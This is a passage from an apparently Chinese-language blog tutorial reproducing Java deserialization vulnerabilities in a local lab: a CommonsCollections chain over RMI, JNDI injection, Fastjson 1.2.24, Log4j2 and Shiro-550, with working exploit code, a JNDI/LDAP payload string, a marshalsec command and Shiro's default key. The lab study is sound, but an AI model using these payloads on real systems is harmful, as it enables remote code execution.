        return result; // 返回计算结果
    }

    @Override
    public void print(Object o) throws RemoteException { // 实现 print 方法，打印传入的对象
        System.out.println(o); // 打印对象
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741314625179.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<pre><code class="language-java">package org.example; // 定义包名为 org.example

import java.rmi.RemoteException; // 导入 RemoteException，用于处理远程调用中的异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry，用于创建或获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry，用于管理 RMI 注册表
import java.rmi.server.UnicastRemoteObject; // 导入 UnicastRemoteObject，用于导出远程对象

public class RMIServer { // 定义 RMIServer 类，作为 RMI 服务器
    public static void main(String[] args) throws RemoteException { // 主方法，程序入口
        Registry registry = LocateRegistry.createRegistry(1099); // 创建 RMI 注册表，监听端口 1099
        CalcImpl calc = new CalcImpl(); // 创建 CalcImpl 实例，实现远程接口
        registry.rebind("calc", UnicastRemoteObject.exportObject(calc, 0)); // 将 calc 对象绑定到注册表，名称为 "calc"，并导出为远程对象
        System.out.println("RMI Server is running..."); // 打印服务器启动信息

        // 保持服务运行
        while (true) { // 无限循环，确保服务器持续运行
            try {
                Thread.sleep(1000); // 线程休眠 1 秒，避免 CPU 占用过高
            } catch (InterruptedException e) { // 捕获线程中断异常
                e.printStackTrace(); // 打印异常信息
                break; // 退出循环
            }
        }
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741314669459.png&amp;size=m" width="991px" height="551px" style="display: inline-block"></p>
<p style="">接下来在RMIClient项目中创建RMIClient类先测试一下通不通。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741314860657.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">运行server，再运行client，成功输出3，能够正常运行。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741314929157.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">接下来插入cc1链恶意代码。LazyMap和TransformedMap很相似，都通过这个decorate方法来传入参数，传参类型也一致。并且它的get方法中的factory会去执行transform方法。因为TransformedMap在我电脑上没能成功执行，改换成LazyMap。</p>
<p style="line-height: 1.75"><code>LazyMap</code><strong> 的工作原理​</strong>​：<code>LazyMap</code> 会在调用 <code>get(key)</code> 时检查键是否存在：</p>
<ul>
 <li>
  <p style="">如果键不存在，则通过 <code>Transformer</code> 动态生成一个值并存入 <code>Map</code>。</p>
 </li>
 <li>
  <p style="">​<strong>​键的名称本身不影响攻击逻辑​</strong>​，因为漏洞触发依赖的是 <code>Transformer</code> 链的执行，而不是键的内容。</p>
 </li>
</ul>
<p style="line-height: 1.75"><strong>示例验证​</strong>​：</p>
<pre><code class="language-java">Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap.get("any_string_here");  // 触发攻击链，执行命令
lazyMap.get("123");              // 同样会触发
lazyMap.get(null);               // 可能触发（取决于LazyMap实现）</code></pre>
<pre><code class="language-java">package org.example; // 定义包名为 org.example

import org.apache.commons.collections.Transformer; // 导入 Transformer 接口，用于定义对象转换逻辑
import org.apache.commons.collections.functors.ChainedTransformer; // 导入 ChainedTransformer，用于将多个 Transformer 串联
import org.apache.commons.collections.functors.ConstantTransformer; // 导入 ConstantTransformer，用于返回固定值
import org.apache.commons.collections.functors.InvokerTransformer; // 导入 InvokerTransformer，用于反射调用方法
import org.apache.commons.collections.map.LazyMap; // 导入 LazyMap，用于延迟计算 Map 的值

import java.io.FileOutputStream; // 导入 FileOutputStream，用于文件输出
import java.io.IOException; // 导入 IOException，用于处理输入输出异常
import java.io.ObjectOutputStream; // 导入 ObjectOutputStream，用于对象序列化
import java.lang.annotation.Target; // 导入 Target 注解，用于反射示例
import java.lang.reflect.Constructor; // 导入 Constructor，用于反射创建对象
import java.lang.reflect.InvocationTargetException; // 导入 InvocationTargetException，用于处理反射调用异常
import java.rmi.NotBoundException; // 导入 NotBoundException，用于处理 RMI 未绑定异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry，用于获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry，用于管理 RMI 注册表
import java.util.HashMap; // 导入 HashMap，用于创建 Map
import java.util.Map; // 导入 Map 接口，用于定义键值对集合

public class RMIClient { // 定义 RMIClient 类，作为 RMI 客户端
    public static void main(String[] args) throws IOException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { // 主方法，程序入口
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 获取本地 RMI 注册表，端口为 1099
        Calc calc = (Calc) registry.lookup("calc"); // 查找名为 "calc" 的远程对象
        calc.print(cc1()); // 调用远程对象的 print 方法，传入 cc1() 生成的恶意对象
    }

    public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { // 定义 cc1 方法，生成恶意对象
        Transformer[] transformers = new Transformer[] { // 定义 Transformer 数组，用于串联多个转换逻辑
                new ConstantTransformer(Runtime.class), // 返回 Runtime.class
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 反射调用 getMethod("getRuntime")
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 反射调用 invoke(null, null)
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 反射调用 exec("calc.exe")
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 将多个 Transformer 串联
        Map&lt;Object, Object&gt; map = new HashMap&lt;&gt;(); // 创建一个 HashMap
        Map&lt;Object, Object&gt; lazyMap = LazyMap.decorate(map, chainedTransformer); // 使用 LazyMap 包装 HashMap，延迟执行转换逻辑
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取 AnnotationInvocationHandler 类
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 获取其构造函数
        constructor.setAccessible(true); // 设置构造函数可访问
        Object obj = constructor.newInstance(Target.class, lazyMap); // 创建 AnnotationInvocationHandler 实例
        lazyMap.get("foo"); // 触发 LazyMap 的 transform 操作，执行恶意代码
        return obj; // 返回生成的恶意对象
    }
}</code></pre>
<p style="">运行代码，成功执行命令。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741315147841.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h1 style="" id="jrmp">JRMP</h1>
<p style="">JRMP（Java Remote Method Protocol）是 Java RMI（Remote Method Invocation，远程方法调用）的底层通信协议。它用于在 Java 应用程序之间实现远程方法调用，是 RMI 的核心组成部分。走的是TCP/IP协议。JRMP协议也仅用于RMI调用。</p>
<p style="">如果我们不知道REIserver注册中心的那边的接口情况，或者那边没有接受Object的参数的接口的时候，我们又该如何利用呢？</p>
<p style="">我们现将之前写好的RMIserver和RMIclient运行起来，用wireshark抓取流量包，发现有JRMP交互，数据包中有java序列化的内容。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741317541869.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">既然是反序列化数据我们就会想到是不是通过反序列化将这个序列化数据转换为Java对象呢，既然有这样一个过程，那我们直接将正常的序列化代码替换成恶意的序列化的代码，反序列化后会直接触发恶意的利用链。</p>
<p style="">先运行RMIserver。<img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741317903121.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">通过工具生成恶意序列化代码。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1741334378958.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">然后会弹出计算器。</p>
<h1 style="" id="jndi%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80"><strong>JNDI注入基础</strong></h1>
<p style="">JNDI：简单来说，JNDI（Java Naming Directory Interface）是一组应用接口程序，他为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个JAVA远程对象。JNDI底层支持rmi远程对象，rmi注册的服务可以通过JNDI接口来访问和调用。</p>
<p style="">JNDI支持多种命名和目录提供程序（Naming Directory Providers），RMI注册表服务提供程序允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散解耦合，RMI客户端直接通过url来定位一个远程对象，而且该RMI服务可以和包含人员，组织和网络资源等信息的企业目录链接在一起。</p>
<p style="">下面演示下：</p>
<p style="">我找了个低版本的java1.8，来实现演示，先将恶意类evil进行编译成class文件。</p>
<pre><code class="language-java">import java.io.IOException;

public class evil {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743554859752.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">编译成功后运行RMIServer</p>
<pre><code class="language-java">import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("xxx", referenceWrapper);
        System.out.println("RMI server is running...");
    }
}</code></pre>
<p style="">将恶意类evil加载并实例化对象，并托管到127.0.0.1:8000以便下载，将恶意引用绑定到 RMI 注册表的 xxx上面，并起一个python http 服务，端口为8000。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743555334151.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">接下来写一个test类，用来验证是否能攻击成功。绑定url为rmi://127.0.0.1:1099/xxx</p>
<pre><code class="language-java">import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/xxx");

    }
}</code></pre>
<p style="">用低版本java1.8运行该代码，成功弹出计算器。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743555644750.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">接下来用工具marshalsec开启LDAP服务，pythonweb服务也开启。</p>
<p style="">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743555880119.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">修改代码JNDITest，并编译运行，成功弹出计算器。</p>
<pre><code class="language-java">import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1099/evil");

    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743555955666.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h1 style="" id="fastjson1.2.24%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E5%92%8Cjdbcrowsetimpl%E9%93%BE"><strong>Fastjson1.2.24漏洞原理和JdbcRowSetImpl链</strong></h1>
<h3 style="" id="%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0">漏洞复现</h3>
<p style="">利用条件：fastjson版本&lt;=1.2.24</p>
<p style=""><strong>攻击方准备</strong></p>
<p style="">1.恶意代码</p>
<p style="">还是这个恶意类</p>
<pre><code class="language-java">import java.io.IOException;

public class evil {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}</code></pre>
<p style="">编译好启动一个http服务器，端口8000，</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743557243719.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">接下来用工具marshalsec开启LDAP服务，pythonweb服务也开启。</p>
<p style="">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743557281860.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">fastjson代码</p>
<pre><code class="language-java">package org.example;
import com.alibaba.fastjson.JSON;

public class Main {
    public static void main(String[] args) {
        String text = "{\n" +
                " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" +  // 指定恶意类
                " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" +  // 指向攻击者的LDAP服务
                " \"autoCommit\" : true\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
                "}";
        JSON.parseObject(text);  // 反序列化触发漏洞
    }
}</code></pre>
<p style="">直接运行，成功弹出计算器。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743557860278.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h3 style="" id="%E5%BC%80%E5%A7%8B%E5%88%86%E6%9E%90%E9%93%BE">开始分析链</h3>
<p style="">在这之前，先简单说以下fastjson是怎么工作的。</p>
<p style="">首先，先写一个Person类。</p>
<pre><code class="language-java">package org.example;

public class Person {
    private String name;
    private int age;
    public Person(){
        System.out.println("实例化Person");
    }
    public String getName(){ return name;}
    public void setName(String name){
        System.out.println("setName="+ name);
        this.name = name;
    }
    public int getAge(){ return age;}
    public void setAge(int age){
        System.out.println("setAge="+ age);
        this.age = age;
    }

}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743564104051.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">然后修改main主函数，使用反射调用输出结果。</p>
<pre><code class="language-java">package org.example;
import com.alibaba.fastjson.JSON;


public class Main {
    public static void main(String[] args) {
//        String text = "{\n" +
//                " \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\",\n" +  // 指定恶意类
//                " \"dataSourceName\" : \"ldap://localhost:1099/Evil\",\n" +  // 指向攻击者的LDAP服务
//                " \"autoCommit\" : true\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
//                "}";
        String text = "{\n" +
                " \"@type\" : \"org.example.Person\",\n" +  // 指定恶意类
                " \"name\" : \"mingming\",\n" +  // 指向攻击者的LDAP服务
                " \"age\" : 32\n" +  // 触发JdbcRowSetImpl的setAutoCommit()方法
                "}";
        Object o = JSON.parseObject(text);  // 反序列化触发漏洞
        System.out.println(o.getClass().getName());
    }
}</code></pre>
<p style="">输出为实例化</p>
<p style="">Person</p>
<p style="">setName=mingming</p>
<p style="">setAge=32</p>
<p style="">com.alibaba.fastjson.JSONObject</p>
<p style=""></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743564212819.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">fastjson会将json中的key拼接set并将首字母大写，就是setKey，然后去寻找你需要反射的java的类中有没有这个方法，有的话就会把value传进去，实际的话是这么操作的。</p>
<p style="">根据观察，调用了Person中的无参构造方法Person、setName和setAge，那么我们只需要找到有这么一个类，它的无参构造方法可以被利用，或者说它的setxxx方法里面有恶意代码可以被我们利用就行了。实际上是无参构造方法的话，因为我们不能给它传递值，所以是比较难利用的，那我们就找setxxx方法。</p>
<p style="">首先先点进去com.sun.rowset.JdbcRowSetImpl这个类。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743563097146.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">搜索AutoCommit找到setAutoCommit方法。<img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743564629150.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看这个判断，没什么东西，看else中的代码 conn = connect();</p>
<pre><code class="language-java">if(conn != null) {
           conn.setAutoCommit(autoCommit);
        } else {
           // Coming here means the connection object is null.
           // So generate a connection handle internally, since
           // a JdbcRowSet is always connected to a db, it is fine
           // to get a handle to the connection.

           // Get hold of a connection handle
           // and change the autcommit as passesd.
           conn = connect();

           // After setting the below the conn.getAutoCommit()
           // should return the same value.
           conn.setAutoCommit(autoCommit);

        }</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743564812654.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看到了lookup，这个参数还可控，就想起了JNDI注入，如何给可控参数getDataSourceName()赋值，我们找一下这个方法。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743565226154.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">看得出来可以直接赋值，但是前面还有个条件：</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743565303456.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">如何让这个conn等于null，我们找这个conn的定义。发现这个conn初始化的时候就是为null，就是无构造参数方法，这样就会走到我们下面的分支，成功利用漏洞。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743565549601.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">@type传入的就是我们所需要利用的恶意类，dataSourceName就是要传入ldap恶意注入服务器地址，接下来传入autoCommit，就触发恶意代码了。</p>
<h3 style="" id="%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8">不出网利用</h3>
<ul>
 <li>
  <p style="">TemplatesImpl利用链</p>
 </li>
 <li>
  <p style="">Commons-io 写文件/webshell&nbsp;</p>
 </li>
 <li>
  <p style="">becl攻击（利用tomcat的BasicDataSource链）</p>
 </li>
</ul>
<h1 style="" id="log4j2%E6%BC%8F%E6%B4%9E"><strong>Log4j2漏洞</strong></h1>
<h3 style="" id="%E4%BB%80%E4%B9%88%E6%98%AFlog4j">什么是log4j</h3>
<p style="">log4j是一种在Java中非常流行的日志框架，最新版本为2.下。非常多的开源项目使用该框架记录日志。</p>
<h3 style="" id="%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-1">漏洞复现</h3>
<p style=""><strong>利用条件: </strong>2.0&lt;=log4j&lt;=2.14.1</p>
<p style=""><strong>受害者准备</strong></p>
<pre><code class="language-java">package org.example;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        // 触发漏洞（需用户输入控制日志内容）
        logger.error("${jndi:ldap://127.0.0.1:1099/evil}");
    }
}</code></pre>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743570879654.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">还是用marshalsec起一个LDAPRefServer。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743570927317.png&amp;size=m" width="100%" height="100%" style="display: inline-block">将之前的evil类编译，在编译好的目录起一个pythonhttpserver。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743570997337.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">运行受害者代码，成功弹出计算器。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743571068093.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h3 style="" id="%E5%88%86%E6%9E%90%E5%8E%9F%E5%9B%A0">分析原因</h3>
<p style="">Log4j 2.x 的 ​lookup 功能允许在日志内容中嵌入 ${prefix:name} 格式的动态表达式，例如读取系统信息：</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743571679554.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h1 style="" id="shiro550%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0"><strong>Shiro550漏洞复现</strong></h1>
<p style="">Shiro 1.2.4及以前版本中，加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie，触发Java反序列化漏洞，进而在目标机器上执行任意命令。</p>
<h3 style="" id="%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0-2">漏洞复现</h3>
<p style=""><strong>利用条件：</strong>Shiro&lt;1.2.4</p>
<p style=""><strong>环境搭建</strong></p>
<p style="">docker pull medicean/vulapps:s_shiro_1</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743651473747.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">访问8080端口，进入页面，点击登录，登录成功并抓包。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743651695769.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743651736556.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">生成反弹shell payload，先在攻击机启用端口监听：</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743651818144.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">构造反弹shell payload并base64加密。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743651864753.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743651908499.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">启动yso生成攻击，将shell代码填入，选择cc2链，导出shiro550payloaad。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-vcdw.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743652085293.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">发送payload，成功反弹shell。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743652114274.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743652177161.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<h3 style="" id="%E6%BC%8F%E6%B4%9E%E6%88%90%E5%9B%A0">漏洞成因</h3>
<p style="">先打开shiro1.2.3这个依赖，idea右键添加为库，就可以解包查看代码。全局搜索rememberMe，找到RememberMeManager</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743658483180.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">CTRL+H查看谁引用了这个方法，看到CookieRememberMeManager引用了主方法，点击进去。</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743658548224.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">这段代码是 ​<strong>Apache Shiro 1.2.4</strong> 的 <code>CookieRememberMeManager</code> 类，它继承自 <code>AbstractRememberMeManager</code>，专门用于在 ​<strong>Web 环境</strong> 下通过 ​<strong>Cookie</strong> 实现 ​<strong>RememberMe（记住我）​</strong> 功能。</p>
<p style=""><strong>存储用户身份（</strong><code>rememberSerializedIdentity</code><strong>）​</strong></p>
<p style=""><strong><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743658630558.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></strong></p>
<pre><code class="language-java">protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
    if (!WebUtils.isHttp(subject)) return;  // 非 HTTP 请求直接忽略

    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);
    
    String base64 = Base64.encodeToString(serialized);  // 加密后的数据转 Base64
    Cookie cookie = new SimpleCookie(this.getCookie());  // 复制模板 Cookie
    cookie.setValue(base64);  // 设置 Cookie 值
    cookie.saveTo(request, response);  // 写入响应
}</code></pre>
<ul>
 <li>
  <p style="">​<strong>流程</strong>：</p>
  <ol>
   <li>
    <p style="">检查是否是 HTTP 请求（<code>WebUtils.isHttp</code>）。</p>
   </li>
   <li>
    <p style="">获取 <code>HttpServletRequest</code> 和 <code>HttpServletResponse</code>。</p>
   </li>
   <li>
    <p style="">将加密后的身份数据（<code>byte[]</code>）转为 ​<strong>Base64</strong> 字符串。</p>
   </li>
   <li>
    <p style="">创建一个新的 Cookie（基于模板），并设置值为 Base64 数据。</p>
   </li>
   <li>
    <p style="">通过 <code>cookie.saveTo()</code> 将 Cookie 写入 HTTP 响应。</p>
   </li>
  </ol>
 </li>
</ul>
<p style=""><strong>读取用户身份（</strong><code>getRememberedSerializedIdentity</code><strong>）​</strong></p>
<p style=""><strong><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743658767966.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></strong></p>
<pre><code class="language-java">protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
    if (!WebUtils.isHttp(subjectContext)) return null;  // 非 HTTP 请求忽略

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (this.isIdentityRemoved(wsc)) return null;  // 检查是否已手动清除身份

    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);
    
    String base64 = this.getCookie().readValue(request, response);  // 读取 Cookie 值
    if ("deleteMe".equals(base64)) return null;  // 特殊标记，表示清除 Cookie

    if (base64 != null) {
        base64 = this.ensurePadding(base64);  // 补全 Base64 填充（=）
        byte[] decoded = Base64.decode(base64);  // Base64 解码
        return decoded;  // 返回解密前的数据（后续会解密 + 反序列化）
    }
    return null;
}</code></pre>
<p style="">通过这个代码发现：</p>
<ol>
 <li>
  <p style="">检查是否是 HTTP 请求。</p>
 </li>
 <li>
  <p style="">检查是否已手动清除身份（<code>isIdentityRemoved</code>）。</p>
 </li>
 <li>
  <p style="">从请求中读取 <code>rememberMe</code> Cookie 的值。</p>
 </li>
 <li>
  <p style="">如果值是 <code>"deleteMe"</code>，表示要清除身份。</p>
 </li>
 <li>
  <p style="">否则，补全 Base64 填充（<code>=</code>）并解码为 <code>byte[]</code>。</p>
 </li>
 <li>
  <p style="">返回的数据会交给父类 <code>AbstractRememberMeManager</code> 解密 + 反序列化。</p>
 </li>
</ol>
<p style="">那么我们就进入到AbstractRememberMeManager类中去。</p>
<p style="">发现默认编码key kPH+bIxk5D2deZiIxcaaaA==</p>
<p style=""><img src="http://gowninng.cn/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F1743652573549.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">这段代码是 ​Apache Shiro 1.2.3 的 AbstractRememberMeManager 类，负责 ​RememberMe（记住我）​ 功能的实现。它使用 ​AES 加密 存储用户身份信息（如用户名、角色等），并在用户下次访问时自动恢复登录状态。</p>
<p style=""><strong>初始化（构造函数）</strong></p>
<pre><code class="language-java">public AbstractRememberMeManager() {
